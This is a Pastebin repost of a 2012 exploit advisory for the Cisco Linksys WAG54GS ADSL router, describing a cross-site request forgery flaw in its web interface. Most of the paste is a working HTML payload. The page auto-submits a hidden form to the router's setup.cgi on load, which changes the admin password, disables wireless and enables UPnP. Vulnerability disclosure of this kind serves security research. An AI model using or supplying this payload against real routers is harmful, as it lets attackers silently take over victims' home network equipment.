API tools faq
paste
cybercode

Cisco Linksys WAG54GS (ADSL Router) - Change Admin Password

cybercode
Feb 24th, 2012
708
0
Never
Add comment
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
HTML 3.05 KB | None | 0 0
raw download clone embed print report
  1. +--------------------------------------------------------------------------------------------------------------------------------+
  2. # Exploit Title : Cisco Linksys WAG54GS (ADSL Router) change admin password
  3. # Date          : 20-02-2012
  4. # Author        : Ivano Binetti (http://ivanobinetti.com)
  5. # Vendor site   : http://www.linksysbycisco.com
  6. # Version       : WAG54GS
  7. # Tested on     : Firmware Version: V1.01.03
  8. +--------------------------------------------------------------------------------------------------------------------------------+
  9. +------------------------------------------[Change Admin Account Password by Ivano Binetti]--------------------------------------+
  10. Summary
  11. 1)Introduction
  12. 2)Vulnerability Description
  13. 3)Exploit
  14. +---------------------------------------------------------------------------------------------------------------------------------+
  15. 1)Introduction
  16. Cisco Linksys WAG54GS is an ADSL Router which uses a web management interface -listening to default on tcp/ip port 80 - and "admin"
  17. as default administrator. His default ip address is 192.168.1.1
  18. 2)Vulnerability Description
  19. The web interface of this router is prone to CSRF vulnerabilities which allows to change router parameters and - among other things -
  20. to change default administrator ("admin") password.
  21. 3)Exploit
  22. <html>
  23. <body onload="javascript:document.forms[0].submit()">
  24. <H2>CSRF Exploit to change admin password</H2>
  25. <form method="POST" name="form0" action="http://192.168.1.1:80/setup.cgi">
  26. <input type="hidden" name="user_list" value="1"/>
  27. <input type="hidden" name="sysname" value="admin"/>
  28. <input type="hidden" name="sysPasswd" value="new_password"/>
  29. <input type="hidden" name="sysConfirmPasswd" value="new_password"/>
  30. <input type="hidden" name="remote_management" value="disable"/>
  31. <input type="hidden" name="devname" value=""/>
  32. <input type="hidden" name="snmp_enable" value="disable"/>
  33. <input type="hidden" name="upnp_enable" value="enable"/>
  34. <input type="hidden" name="wlan_enable" value="disable"/>
  35. <input type="hidden" name="save" value="Save+Settings"/>
  36. <input type="hidden" name="h_user_list" value="1"/>
  37. <input type="hidden" name="h_pwset" value="yes"/>
  38. <input type="hidden" name="sysname_changed" value="no"/>
  39. <input type="hidden" name="pwchanged" value="yes"/>
  40. <input type="hidden" name="pass_is_default" value="false"/>
  41. <input type="hidden" name="pass_is_none" value="no"/>
  42. <input type="hidden" name="h_remote_management" value="disable"/>
  43. <input type="hidden" name="c4_trap_ip_" value=""/>
  44. <input type="hidden" name="h_snmp_enable" value="disable"/>
  45. <input type="hidden" name="h_upnp_enable" value="enable"/>
  46. <input type="hidden" name="h_wlan_enable" value="disable"/>
  47. <input type="hidden" name="todo" value="save"/>
  48. <input type="hidden" name="this_file" value="Administration.htm"/>
  49. <input type="hidden" name="next_file" value="Administration.htm"/>
  50. <input type="hidden" name="message" value=""/>
  51. </form>
  52. </body>
  53. </html>
  54. +----------------------------------------------------------------------------------------------------------------------------------+
  55. Comments
Advertisement
Add Comment
Please, Sign In to add comment
Public Pastes
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy.  OK, I Understand
Not a member of Pastebin yet?
Sign Up, it unlocks many cool features!